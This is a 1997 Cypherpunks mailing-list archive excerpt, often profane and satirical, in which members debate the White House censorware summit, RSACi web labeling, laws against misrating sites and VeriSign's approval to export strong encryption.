From rwright at adnetsol.com  Wed Jul 16 19:52:32 1997
From: rwright at adnetsol.com (Ross Wright)
Date: Thu, 17 Jul 1997 10:52:32 +0800
Subject: The Real Plan: Making the Net Safe for Censorship
Message-ID: <199707170240.TAA05878@adnetsol.adnetsol.com>



On or About 16 Jul 97 at 18:12, Lizard wrote:

> At 04:47 PM 7/16/97 -0700, Ross Wright wrote:
> >Marc:
> >
> >What a bunch of crap!  Keep out of the internet, you government
> >flunky.  Let business, commerce and freedom of speech remain in
> >it's new home, Cyberspace.  And save your regulations for someone
> >who needs them.
> 
> You will get a lot more respect on the net once you learn how to
> read messages. I'll leave it you to figure out what you got wrong.

Umm, I think I understood the message, and Mr. Rotenberg's 
involvement in the politics of censorship, as it relates to the 
Internet.

> Sheesh. And I retreated to mailing lists to get away from this kind
> of stuff on USENET.

What?  I just feel that there should be no laws or resolutions or 
promises made or kept by the United States Government about the 
internet.

On or About 16 Jul 97 at 14:42, Declan McCullagh wrote, about 
something that Marc Rotenberg  wrote:

>On the other hand, without a proper law, 

See, when they say "without" that means they think we need one.

>parents can purchase and
>activate measures to protect their children from adult material and
>still not feel secure in their homes from unwanted material.  

Ohhhh, so scary.  Not safe in the home!  Imagine that.

>This is
>because negligent publishing of data eventually allows material that
>can harm the child to enter the home.  Once this material is
>experienced by the child, its damage is done.  There is no "oops"
>factor, no way to undo the unwanted intrusion into a child's
>innocence. 

Parental supervision?  What ever happened to that?

>Most importantly, any Internet law must not censor thought.  It may
>regulate the labeling on the packaging but never the content. 

Most importantly, I don't want any Internet law.  ANY.  Just my 
opinion.

>With the goal of achieving a greater spirit of cooperation between
>the publisher and the receiver of online data, we propose the Online
>Cooperative Publishing Act. 

I don't want ANY Act.  Knock it off.   Keep out.  Stay away.  Save 
your Acts for someone who needs them.

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795






From dformosa at st.nepean.uws.edu.au  Wed Jul 16 20:27:18 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Thu, 17 Jul 1997 11:27:18 +0800
Subject: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: 
Message-ID: 



On Wed, 16 Jul 1997, Declan McCullagh wrote:

> Kudos to Microsoft for doing the right thing.

What is the tempriture in hell today?

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And The Make New Chains For
Themselves? --Terry Pratchett






From stewarts at ix.netcom.com  Wed Jul 16 20:31:14 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Thu, 17 Jul 1997 11:31:14 +0800
Subject: More on crypto from Bonn
In-Reply-To: <3.0.16.19970709093445.23d7be9e@pop.radix.net>
Message-ID: <3.0.2.32.19970715073537.030968dc@popd.ix.netcom.com>



>>         What's a "potential" terrorist?

>I suspect "potential terrorist" is like "alleged criminal"; it's a CYA
>statement.

No, they're much different.  An "alleged criminal" is a specific person who
may have really done something illegal, but you're covering yourself
against lawsuits because you haven't yet proven they're guilty in court.
A "potential terrorist" is a bogeyman to scare the public with,
who may or may not exist, and who hasn't done anything scary himself yet.
An "alleged terrorist" is a specific person who may be the one who did some
terrorist action.

On the other hand, a gang of thugs threatening to destroy all life
on the planet are simply referred to as "The Pentagon"....


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From whgiii at amaranth.com  Wed Jul 16 20:42:15 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Thu, 17 Jul 1997 11:42:15 +0800
Subject: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: 
Message-ID: <199707170338.WAA32029@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 07/16/97 
   at 07:31 PM, Declan McCullagh  said:

>Kudos to Microsoft for doing the right thing.

Well if Microsoft was intrested in doing the right thing they would not be
involded with RSACi at all.

There seems to be a prevelent attitude in the INet community that when
getting fucked by the government we should thank them for only sticking it
in half-way.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From dlv at bwalk.dm.com  Wed Jul 16 20:43:01 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 17 Jul 1997 11:43:01 +0800
Subject: The Real Plan: Making the Net Safe for Censorship
In-Reply-To: <3.0.1.32.19970716181248.00b5a920@dnai.com>
Message-ID: 



Lizard  writes:

> You will get a lot more respect on the net once you learn how to read
> messages. I'll leave it you to figure out what you got wrong.

You assume that someone gives a damn whether you "respect" them or not.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From breynolds at harborcom.net  Wed Jul 16 20:46:00 1997
From: breynolds at harborcom.net (Bradley E. Reynolds)
Date: Thu, 17 Jul 1997 11:46:00 +0800
Subject: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: 
Message-ID: 



> 
> What is the tempriture in hell today?
> 
The temperature of Heaven can be rather accurately computed from available
data.  Our authority is Isaiah 30:26, "Moreover, the light of the Moon
shall be as the light of the Sun and the light of the Sun shall be sevenfold,
as the light of seven days."  Thus Heaven receives from the Moon as much
radiation as we do from the Sun, and in addition seven times seven (49)
times as much as the Earth does from the Sun, or fifty times in all.  The
light we receive from the Moon is one ten-thousandth of the light we
receive from the Sun, so we can ignore that.  With these data we can
compute the temperature of Heaven.  The radiation falling on Heaven will
heat it to the point where the heat lost by radiation is just equal to the
heat received by radiation, i.e., Heaven loses fifty times as much 
heat as the Earth by radiation. Using the Stefan-Boltzmann law for
radiation, (H/E)^4 = 50, where E is the absolute temperature of the earth
(-300K), gives H as 798K (525C).  The exact temperature of Hell cannot be
computed, but it must be less than 444.6C, the temperature at which
brimstone or sulphur changes from a liquid to a gas.
Revelations 21:8 says "But the fearful, and unbelieving ... shall have
their part in the lake which burneth with fire and brimstone."  A lake of
molten brimstone means that its temperature must be at or below the
boiling point, or 444.6C  (Above this point it would be a vapor, not a
lake.)  We have, then, that Heaven, at 525C is hotter than Hell at 445C.
                -- "Applied Optics", vol. 11, A14, 1972

Sorry, fortune must be invoked in times of mailing list heresy.

Bradley Reynolds
breynolds at harborcom.net
ber at cwru.edu
PGP Fingerprint: 73 17 77 08 8A 72 DB 45 76 28 C5 5A 97 52 26
PGP Public Key: http://www.harborcom.net/~breynolds/pgp.html







From frissell at panix.com  Wed Jul 16 20:59:47 1997
From: frissell at panix.com (frissell at panix.com)
Date: Thu, 17 Jul 1997 11:59:47 +0800
Subject: The Censorware Summit: A Preview, from The Netly News
In-Reply-To: <3.0.2.32.19970716110343.00729aac@netcom10.netcom.com>
Message-ID: <3.0.2.32.19970716234246.03aaeea8@panix.com>



-----BEGIN PGP SIGNED MESSAGE-----

At 11:16 AM 7/16/97 -0700, Declan McCullagh wrote:
>As for Lucky's point #2 -- Yes, I've read drafts of bills that would make
>it a Federal crime to misrate. --Declan
>

What ever happened to "de minimus non curat lex."  The social damage from a 
misrated website is too trivial to be believed.  Punishing it is like 
executing you for farting.

DCF  
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Date: Thu, 17 Jul 1997 12:02:53 -0700 (PDT)
Subject: The information you requested.
Message-ID: <199706190025.GAA08056@hotmail.com>


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From jamesd at echeque.com  Wed Jul 16 21:05:42 1997
From: jamesd at echeque.com (James A. Donald)
Date: Thu, 17 Jul 1997 12:05:42 +0800
Subject: FCPUNX:'The Failure to Do Your Job' amendment (was Re: White House
Message-ID: <199707170348.UAA19054@proxy4.ba.best.com>



At 02:15 PM 7/16/97 -0500, John Deters wrote:
> A Constitutional amendment that would call for the impeachment of the
> President for failing to veto any three bills that are overturned by the
> Supreme Court on Constitutional grounds.

This however, presupposes that the supreme court is likely to veto
unconstitutional bills, and refrain from vetoing constitutional
bills.  

This does not appear to be the case.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd at echeque.com






From declan at well.com  Wed Jul 16 21:44:47 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 17 Jul 1997 12:44:47 +0800
Subject: The Censorware Summit: A Preview, from The Netly News
In-Reply-To: <3.0.2.32.19970716234246.03aaeea8@panix.com>
Message-ID: 



When protecting children, logic seems to be thrown out the window.

"Junior can find porn!"

-Declan


On Wed, 16 Jul 1997 frissell at panix.com wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> At 11:16 AM 7/16/97 -0700, Declan McCullagh wrote:
> >As for Lucky's point #2 -- Yes, I've read drafts of bills that would make
> >it a Federal crime to misrate. --Declan
> >
> 
> What ever happened to "de minimus non curat lex."  The social damage from a 
> misrated website is too trivial to be believed.  Punishing it is like 
> executing you for farting.
> 
> DCF  
> -----BEGIN PGP SIGNATURE-----
> Version: PGP for Personal Privacy 5.0
> Charset: noconv
> 
> iQCVAwUBM82UsoVO4r4sgSPhAQHU2QP/QI8CarUNw8fywxKvu22axFEx+S/YsSKA
> e9HJVdnkTMpa6dO3zMrVPfWhZKKdOklcPSLqD4Ddcw5ZO65OfOPated31Mu6SSOF
> pS54vpquT9SGdoRhHZclnGFTW262RMDCG30YCDHEa4bHigSMSPHfKL+BJUDJEcQK
> oRiOed1meBY=
> =p/tQ
> -----END PGP SIGNATURE-----
> 
> 
> 






From declan at well.com  Wed Jul 16 21:48:05 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 17 Jul 1997 12:48:05 +0800
Subject: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: <199707170338.WAA32029@mailhub.amaranth.com>
Message-ID: 



Wait -- so you're saying they *didn't* do the right thing with RSACi?

BTW, we should differentiate generally between state action and private
action. Getting fucked by Microsoft != getting fucked by the government.
This is Libertarianism 101. Of course, I admit today the distinction was
blurry.

-Declan

On Wed, 16 Jul 1997, William H. Geiger III wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> In , on 07/16/97 
>    at 07:31 PM, Declan McCullagh  said:
> 
> >Kudos to Microsoft for doing the right thing.
> 
> Well if Microsoft was intrested in doing the right thing they would not be
> involded with RSACi at all.
> 
> There seems to be a prevelent attitude in the INet community that when
> getting fucked by the government we should thank them for only sticking it
> in half-way.
> 
> - -- 
> - ---------------------------------------------------------------
> William H. Geiger III  http://www.amaranth.com/~whgiii
> Geiger Consulting    Cooking With Warp 4.0
> 
> Author of E-Secure - PGP Front End for MR/2 Ice
> PGP & MR/2 the only way for secure e-mail.
> OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
> - ---------------------------------------------------------------
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.3a
> Charset: cp850
> Comment: Registered_User_E-Secure_v1.1b1_ES000000
> 
> iQCVAwUBM82FMo9Co1n+aLhhAQGlXwQAj2qt/VBiFDcA/1/j/8rpVz+exQ46FZZn
> HtEXC3nDIMJtuy1l52KnfXFMA/glyTFUBr4jAmep/Gmskm1Hf+uQBhGfrH4OY7VX
> Qdx/b2ftLto1+6j0DQ7rcRz2+XFPFLFfi76GamIdvxNc4RqaDxm38lArfSWH22JH
> /YKx9rWWQNQ=
> =4Md3
> -----END PGP SIGNATURE-----
> 
> 
> 






From m.pool at pharos.com.au  Wed Jul 16 22:06:26 1997
From: m.pool at pharos.com.au (Martin Pool)
Date: Thu, 17 Jul 1997 13:06:26 +0800
Subject: Family values
In-Reply-To: 
Message-ID: <19970717045452.6428.qmail@buffalo.pharos.com.au>



I'd rather accept the fact that teenagers might look at porn (shock!)
than bring children up in a police state.  Anyhow, vaguely relevant to
this hypocrisy is

http://www.gmcclel.bossnt.com/kk/kk970708.html

-- 
Martin Pool 
Pharos Business Solutions






From lizard at dnai.com  Wed Jul 16 22:06:39 1997
From: lizard at dnai.com (Lizard)
Date: Thu, 17 Jul 1997 13:06:39 +0800
Subject: The Real Plan: Making the Net Safe for Censorship
Message-ID: <3.0.32.19970716214255.00ab0340@dnai.com>



At 07:42 PM 7/16/97 -0700, Ross Wright wrote:
>On or About 16 Jul 97 at 18:12, Lizard wrote:
>
>> At 04:47 PM 7/16/97 -0700, Ross Wright wrote:
>> >Marc:
>> >
>> >What a bunch of crap!  Keep out of the internet, you government
>> >flunky.  Let business, commerce and freedom of speech remain in
>> >it's new home, Cyberspace.  And save your regulations for someone
>> >who needs them.
>> 
>> You will get a lot more respect on the net once you learn how to
>> read messages. I'll leave it you to figure out what you got wrong.
>
>Umm, I think I understood the message, and Mr. Rotenberg's 
>involvement in the politics of censorship, as it relates to the 
>Internet.
>
No, you do not.

>> Sheesh. And I retreated to mailing lists to get away from this kind
>> of stuff on USENET.
>
>What?  I just feel that there should be no laws or resolutions or 
>promises made or kept by the United States Government about the 
>internet.
>
That's not the kind of stuff I'm referring to.

>On or About 16 Jul 97 at 14:42, Declan McCullagh wrote, about 
>something that Marc Rotenberg  wrote:
>
>>On the other hand, without a proper law, 
>
>See, when they say "without" that means they think we need one.
>
>>parents can purchase and
>>activate measures to protect their children from adult material and
>>still not feel secure in their homes from unwanted material.  
>
>Ohhhh, so scary.  Not safe in the home!  Imagine that.

Sigh. While occasionally I am prone to fits of charity and altruism, today
is not one of those days. I shall leave it to someone more merciful than I
(such as, perhaps, the Marquis de Sade, or Attila the Hun) to explain your
error to you. Perhaps Marc himself will enlighten you, though, frankly, I
hope he doesn't, as this could provide much amusement over time.






From dformosa at st.nepean.uws.edu.au  Wed Jul 16 22:07:23 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Thu, 17 Jul 1997 13:07:23 +0800
Subject: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: 
Message-ID: 



On Wed, 16 Jul 1997, Declan McCullagh wrote:

> Wait -- so you're saying they *didn't* do the right thing with RSACi?
> 
> BTW, we should differentiate generally between state action and private
> action. Getting fucked by Microsoft != getting fucked by the government.

When microsoft has more power and money then most goverments I begin to 
see no real difference between president Bill gates and any other
totalrion dictator.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett






From stewarts at ix.netcom.com  Wed Jul 16 22:53:18 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Thu, 17 Jul 1997 13:53:18 +0800
Subject: Verisign gets export approval
Message-ID: <3.0.2.32.19970716215758.006f071c@popd.ix.netcom.com>



Forwarded from PGP-USERS list:
> First PGPInc and now VeriSign? Hmmm. Is this telling us something?

     "VeriSign on Monday said it received permission from 
       the U.S. Department of Commerce to export 128-bit 
       strong encryption software and issue digital 
       identifications to approved organizations based on 
       that software. "

     "Under the 128-bit scheme approved by the U.S. 
      government Monday, companies will not need to 
      place their encryption keys in escrow, or submit 
      to U.S. government key-recovery requirements in 
     order to use VeriSign's software, company officials said."



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From geeman at best.com  Wed Jul 16 23:12:46 1997
From: geeman at best.com (geeman at best.com)
Date: Thu, 17 Jul 1997 14:12:46 +0800
Subject: Censorware Summit Take II, from The Netly News
Message-ID: <3.0.32.19970716224205.006e5034@best.com>



I can't wait until the tags include information on *political* content, or
*credibility factor* (i.e. sanctioned by medai conglomerate or not) etc...

At 02:06 PM 7/16/97 -0700, Declan McCullagh wrote:
>
>***********
>
>http://pathfinder.com/netly/opinion/0,1042,1173,00.html
>
>The Netly News (http://netlynews.com)
>July 16, 1997
>
>At The Censorware Summit
>by Declan McCullagh (declan at well.com)
>
>     If you host a web page or publish online, be
>warned: soon your site might become invisible. Search
>engines won't index it and web browsers won't show it.
>Unless, that is, you agree to attach special labels to
>your web pages identifying how violent, sexually
>explicit, or inappropriate for kids your site is.
>
>     This was the thrust of today's White House
>censorware summit, where President Clinton sat down
>with high tech firms and non-profit groups in a
>private meeting to talk about pressuring the Net
>community to make cyberspace childsafe through labels.
>"We need to encourage every Internet site, whether or
>not it has material harmful to minors, to rate its
>contents," Clinton said after the meeting. Vice
>President Gore was there, too, giving a quick
>demonstration of how labeling works.
>
>     Spooked by the threat of a revised Communications
>Decency Act, high tech firms are seriously backing
>labels for the first time. Joining Clinton in coercing
>Internet users and businesses to label all their web
>pages were Yahoo, Excite, and Lycos. "I threw a
>gauntlet to other search engines in today's meeting
>saying that collectively we should require a rating
>before we index pages," Robert Davis, the president of
>Lycos, told me. Translation: if you don't play ball,
>and label your site, search engines will ignore you.
>
>     As will future users of Microsoft's Internet
>Explorer browser. The next version of IE will default
>to displaying only properly labeled web pages,
>according to Ken Wasch, the president of the Software
>Publishers Association. Since many users won't turn
>off that feature to reach unrated sites, many large
>web sites now are facing hefty pressure to self-label.
>
>     Other high tech firms rushed to join the
>presidential limelight. Netscape promised to join
>Microsoft and include label-reading software in the
>next version of its browser. America Online's Steve
>Case thanked Clinton for "backing industry's efforts
>to make cyberspace a safer place." IBM announced a
>$100,000 grant to RSACi, a PICS-based rating standard
>originally designed for video games but adapted for
>the Web. The industry giant also pledges to
>incorporate RSACi into future products.
>
>[...]
>
>
>
>
>






From nobody at REPLAY.COM  Wed Jul 16 23:21:56 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 17 Jul 1997 14:21:56 +0800
Subject: de minimus non curat lex
Message-ID: <199707170605.IAA26013@basement.replay.com>



frissell at panix.com wrote:
> At 11:16 AM 7/16/97 -0700, Declan McCullagh wrote:
> >As for Lucky's point #2 -- Yes, I've read drafts of bills that would make
> >it a Federal crime to misrate. --Declan

> What ever happened to "de minimus non curat lex."  The social damage from a
> misrated website is too trivial to be believed.  Punishing it is like
> executing you for farting.

  The correct translation of "de minimus non curat lex" is: 
"No fart, no foul."
  In order for order to prevail, society must have the authority
to punish those who fart in a crowded theater. On the other hand,
if someone farts in a forest and nobody smells it...

  Never mind. I was having an AOL flashback.

FartMonger







From stewarts at ix.netcom.com  Wed Jul 16 23:31:07 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Thu, 17 Jul 1997 14:31:07 +0800
Subject: Making Imaginary Sex Illegal
In-Reply-To: <19970715115457.07611@bywater.songbird.com>
Message-ID: <3.0.2.32.19970716224945.0069732c@popd.ix.netcom.com>



> > Yes, that's the logical next step -- Government Approved Porn (GAP).
> > Perhaps we could get Senator Hatch to sponsor a bill?

> We have government approved gambling with terrible odds already. 
> This sounds like the next logical step.

There's government-approved porn already; you can get it from
your Postal Inspector by letting him know you're a suspect\\\\\\\\\
interested in that sort of thing.  The odds of you getting arrested
for it instead of the Postal Inspector are also terrible...




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From rwright at adnetsol.com  Wed Jul 16 23:47:09 1997
From: rwright at adnetsol.com (Ross Wright)
Date: Thu, 17 Jul 1997 14:47:09 +0800
Subject: sorry
Message-ID: <199707170632.XAA10571@adnetsol.adnetsol.com>



My foot in my mouth.

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795






From shamrock at netcom.com  Thu Jul 17 00:23:29 1997
From: shamrock at netcom.com (Lucky Green)
Date: Thu, 17 Jul 1997 15:23:29 +0800
Subject: Verisign gets export approval
In-Reply-To: <3.0.2.32.19970716215758.006f071c@popd.ix.netcom.com>
Message-ID: <3.0.2.32.19970716235341.0072b670@netcom10.netcom.com>



At 09:57 PM 7/16/97 -0700, Bill Stewart wrote:
>Forwarded from PGP-USERS list:
>> First PGPInc and now VeriSign? Hmmm. Is this telling us something?
>
>     "VeriSign on Monday said it received permission from 
>       the U.S. Department of Commerce to export 128-bit 
>       strong encryption software and issue digital 
>       identifications to approved organizations based on 
>       that software. "

It tells us that the US government has found yet another sucker to support
their failed policy of bait and switch. VeriSign, just as AT&T and National
Semiconductor have discovered in the past, will discover soon that the
revenue generated by "playing ball" isn't nearly as large as promised. [How
many Clipper phones and Fortezza iPower cards were sold? Total?] In fact,
it the revenue may well prove to be in the negative digits.

Here is the straight dope on the VeriSign/MSFT/NSCP/USG deal:

If you are

1. A non US-bank (the feds decide what constitutes a bank) and promise to
be nice or
2. A US corporation with a server inside the US and thereby subject to
subpoena of all records

then VeriSign will issue you a special cert, subject to veto by the feds,
that will enable exportable Netscape and Microsoft browsers to connect to
your site with 128 bit SSL.

The cert is typically valid for a year, but is subject to revocation at any
time by VeriSign upon the USG's request. Such revocation or refusal to
issue a new cert after the first year of operation will leave the webserver
operator with a server that is no longer able to encrypt communications to
their customers in any meaningful way, thereby effectively shutting down
Internet based operations of the company unfortunate enough to invest in
such a flawed solution.

In other words, the USG now permits you to use strong crypto in web based
communications with your international customers if you agree to play by
the USG's rules and allow the feds to install a MASTER-OFF switch in the
heart of your business. What is most amusing from the government's
perspective is that once the USG flips the switch, it will be VeriSign,
Microsoft, and Netscape that take the heat for selling their customers such
a flawed solution.




--Lucky Green 
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/






From frantz at netcom.com  Thu Jul 17 00:28:23 1997
From: frantz at netcom.com (Bill Frantz)
Date: Thu, 17 Jul 1997 15:28:23 +0800
Subject: The Censorware Summit: A Preview, from The Netly News
In-Reply-To: <3.0.2.32.19970716110343.00729aac@netcom10.netcom.com>
Message-ID: 



At 11:16 AM -0700 7/16/97, Declan McCullagh wrote:
>As for Lucky's point #2 -- Yes, I've read drafts of bills that would make
>it a Federal crime to misrate. --Declan
>
>On Wed, 16 Jul 1997, Lucky Green wrote:
>> 2) If the tags are not signed by a CA.
>> What is someone to prevent from labeling the NAMBLA monthly site,
>> "government authorized news site, suitable for all ages"? Just as the
>> various GAK proposals do not make sense unless GAK is mandatory, online
>> rating systems do not make sense unless "misslabeling" sites will become a
>> felony.

What does misrate mean.  My approach would be to rate everything of mine as
max-bad.  Is that misrating because some of what I say is suitable for
children?  It certainly would not help the people who are using the ratings
to find porn.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz at netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA







From president at shithouse.gov  Thu Jul 17 00:31:53 1997
From: president at shithouse.gov (President)
Date: Thu, 17 Jul 1997 15:31:53 +0800
Subject: CDA II
Message-ID: <199707170709.BAA00711@wombat.sk.sympatico.ca>



Dear CypherPunks,
  I will shortly have one of my schills introduce CDA II to Congress,
with provisions for declaring martial law on the InterNet and bombing
any country which allows terrorists to fight for freedom, liberty and
the right to privacy.
  Please be assured that our dictatorial powers will only be used to
meet the legitimate needs of Fascism.

  Our first step will be to eliminate the scourge of drug dealing the
same way we eliminated the scourge of gambling--the government will take
over the industry.
  Our second step will be to eliminate child pornography by eliminating
all the children. (It's so simple that I find it amazing that we hadn't
thought of it before.)

  Originally, all we wanted was Poland, but lately we've had so many
corporate lipstick marks on our butts that we've decided to go for the
(Netscape) gold and require all future computers to contain our newest
facistechnology, the "Slip'er A Dick" chip.

  In the past, the CypherPunks have been a pain in the ass during our
attempts to subvert the Constitution, but we are willing to forgive 
and forget.
  Accordingly, we are adding an amendment to CDA II which provides
$10,000,000 in funding for the continuation of the CypherPunks list.
The amendment will put Kent Crispin in charge of moderating the list,
and in return for this small compromise we are willing to add another
amendment which makes it legal for CypherPunks to import and export
air from their lungs. {This major concession is the result of the
efforts of the EFF on your behalf.}

  I realize that abandoning your beliefs in order to feed at the public
trough will lessen your reputation capital, so I am also willing to
institute a bonus system for those who maintain the party line. I am
certain that this will more than compensate for any loss of reputation
you may suffer by becoming beltway lackeys.
  Example: You load 16 tons. What do you get...?

Bad Billy C.






From attila at primenet.com  Thu Jul 17 00:50:42 1997
From: attila at primenet.com (Attila T. Hun)
Date: Thu, 17 Jul 1997 15:50:42 +0800
Subject: The Real Plan: Making the Net Safe for Censorship
In-Reply-To: 
Message-ID: <199707170742.BAA26953@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

on or about 970716:2321 
    dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) expostulated:

+Lizard  writes:

+> You will get a lot more respect on the net once you learn how to read
+> messages. I'll leave it you to figure out what you got wrong.

+You assume that someone gives a damn whether you "respect" them or
+not.

    Lizard is a bigger fool than he shows --anyone who writes on the basis of 
    "respect" fails to understand the principles of controversial opinions and 
    the advancement of knowledge away from either politically or "socially" 
    correct thinking.  rudeness can occasionally be an art form in and of 
    itself --for instance, in dealing with a pompous asshole who never gets 
    off his/her procelain potty throne.

        attila
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM83Mj704kQrCC2kFAQF86AP/QBLYCRg7NrpIUubscY6MKvvp7YS0eRPh
optAUBclhbGFAdBxR8zN1cHEgO++0phkmpc+8JLRKVoiDv68Vbin3p6bN0TOUfNP
l4mTg48TUMoPefMFc9b8dLVIATPZ3JrNMunvB1p5cZXXHqcEbKrlFPPFxiV08SKa
uk38frnLSNE=
=63GM
-----END PGP SIGNATURE-----






From tcmay at got.net  Thu Jul 17 01:27:51 1997
From: tcmay at got.net (Tim May)
Date: Thu, 17 Jul 1997 16:27:51 +0800
Subject: All of my fucking material is suitable for children of all ages
In-Reply-To: 
Message-ID: 



At 11:40 PM -0700 7/16/97, Bill Frantz wrote:

>What does misrate mean.  My approach would be to rate everything of mine as
>max-bad.  Is that misrating because some of what I say is suitable for
>children?  It certainly would not help the people who are using the ratings
>to find porn.

My posts would _never_ be "max-bad," whatever that peculiar term may mean.

Rather, my posts should be read by children of all ages, no matter what
fucking language I use. Children should be exposed to language and images
of all types, so all of my material would of course be "suitable for
children."

Who is to say otherwise? The Office of the Censor? The Ministry of Truth?

Of course, the apparent answer is that PICS/RSAIc labels would be applied
on a Web site basis by various licensed, credentialed, certified, and
regulated ratings agencies.

All highly unconstitutional if required by the government. On various
grounds. Besides being a nightmare to try to enforce.

If just an agreement by browser makers and search engine companies, then no
constitutional issues. (Not that I would _like_ it, but then there are a
lot of nongovernmental things I don't like.)

In any case, many of us knew this was coming. The archives will show that
several of us pointed out the extreme likelihood of PICS being used in just
this nefarious sort of way. Nothing surprising.

Those involved in mandatory censorship simply need to be , that
is all. I no longer think dialog with them is worth my time.

That the ACLU and other so-called 'civil rights' groups think that sitting
down with Bill Clinton and Al Gore and jawboning about mandatory ratings,
about collusion between companies to enforce moral standards, and about
punishment for "misrating" is just more evidence of how sick the whole
system has gotten. They should just tell the government to stay out of
content regulation of any sort, period.

--Tim May


--
[This Bible excerpt awaiting review under the U.S. Communications Decency
Act of 1996]
And then Lot said, "I have some mighty fine young virgin daughters. Why
don't you boys just come on in and fuck them right here in my house - I'll
just watch!"....Later, up in the mountains, the younger daughter said:
"Dad's getting old. I say we should fuck him before he's too old to fuck."
So the two daughters got him drunk and screwed him all that night. Sure
enough, Dad got them pregnant, and had an incestuous bastard son....Onan
really hated the idea of doing his brother's wife and getting her pregnant
while his brother got all the credit, so he pulled out before he
came....Remember, it's not a good idea to have sex with your sister, your
brother, your parents, your pet dog, or the farm animals, unless of course
God tells you to. [excerpts from the Old Testament, Modern Vernacular
Translation, TCM, 1996]







From junger at upaya.multiverse.com  Thu Jul 17 02:08:34 1997
From: junger at upaya.multiverse.com (Peter D. Junger)
Date: Thu, 17 Jul 1997 17:08:34 +0800
Subject: The Big Sellout
In-Reply-To: <33CD6C29.C60338E7@eskimo.com>
Message-ID: <199707170854.EAA01439@upaya.multiverse.com>



Brian Lane writes:

:   My webpage will proudly remain unlabeled by any labeling standard.
: Anyone got a good design for a 'No Lables, Never' sticker to add to our
: pages?
 
How about an image of a label with the words ``this is not a label''
on it?

--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger at samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger at pdj2-ra.f-remote.cwru.edu no longer exists






From junger at upaya.multiverse.com  Thu Jul 17 02:22:01 1997
From: junger at upaya.multiverse.com (Peter D. Junger)
Date: Thu, 17 Jul 1997 17:22:01 +0800
Subject: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: 
Message-ID: <199707170915.FAA01650@upaya.multiverse.com>



Declan McCullagh writes:

: BTW, we should differentiate generally between state action and private
: action. Getting fucked by Microsoft != getting fucked by the government.
: This is Libertarianism 101. Of course, I admit today the distinction was
: blurry.

Corporations are just parts of the government that got away.  I have
never understood why some, though far from all, libertarians bother
to distinguish them from the other organs of the state. 

--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger at samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger at pdj2-ra.f-remote.cwru.edu no longer exists






From paul at fatmans.demon.co.uk  Thu Jul 17 02:48:32 1997
